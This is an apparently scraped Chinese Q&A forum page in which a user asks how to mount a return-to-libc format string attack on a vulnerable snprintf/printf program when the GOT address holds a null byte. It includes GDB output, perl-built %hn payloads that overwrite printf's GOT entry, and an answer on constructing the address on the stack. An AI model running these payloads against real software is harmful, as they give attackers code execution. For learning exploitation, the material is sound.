【问题标题】:Return To Libc with Null byte in the addr在 addr 中返回 Null 字节到 Libc
【发布时间】:2013-05-06 15:26:05
【问题描述】:

我正在尝试执行返回 libc 格式字符串攻击,但我要写入的地址 (0x0804a000) 中有一个空字节!我必须在我的格式字符串中读取 snprintf 以便空字节导致它发生故障并随机出现 Segfaults。

buf[70];
snprintf(buf, 80, argv[1]);
printf(buf);

这是 printf@plt 的 GDB 转储:

(gdb) disassem 0x080483c0
Dump of assembler code for function printf@plt:
0x080483c0 <+0>:    jmp    *0x804a000
0x080483c6 <+6>:    push   $0x0
0x080483cb <+11>:   jmp    0x80483b0
End of assembler dump.

有人有什么想法吗?

我当前的方法是这样运行的

./program `perl -e 'print "sh;#\x00\xa0\x04\x08%12345x%10$hn"'`

但是有一个空字节。我也试过了

./program `perl -e 'print "sh;#\xff\x9f\x04\x08\x00\xa0\x04\x08%12345x%10$hn%12345x%11$hn"'`

但是0x0804a000之前的地址有全局偏移表,因此snprintf在返回调用它的函数之前就发生了段错误。

【问题讨论】:

    标签: string format libc exploit


    【解决方案1】:

    解决此问题的一种常见方法是使用堆栈进行一些“内存构造”。

    在构建结束时,您需要在堆栈中的某个位置(我们称该位置为 n 并假设它对应于 fifth 参数):

    00 a0 04 08

    鉴于您可以先将 0x01(或任何您喜欢的,我们只对空字节感兴趣)写入 n-1n 位置的内存将如下所示:

    00 ?? ?? ??

    然后将 0x04a0 写入 n+1,因此位置 n 的内存如下所示:

    00 a0 04 ??

    最后一步是将 0xff08 写入 n+3

    完成后,您可以使用直接参数访问来获取您的地址并在指定的位置写入一个值。

    %12345x%5$n

    您所要做的就是使用 $hn$n 并找到一种方法来重叠适合您的数据。我希望你能明白。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2015-04-16
      • 1970-01-01
      • 1970-01-01
      • 2018-05-31
      • 1970-01-01
      • 2013-01-19
      • 2019-08-05
      • 1970-01-01
      相关资源
      最近更新 更多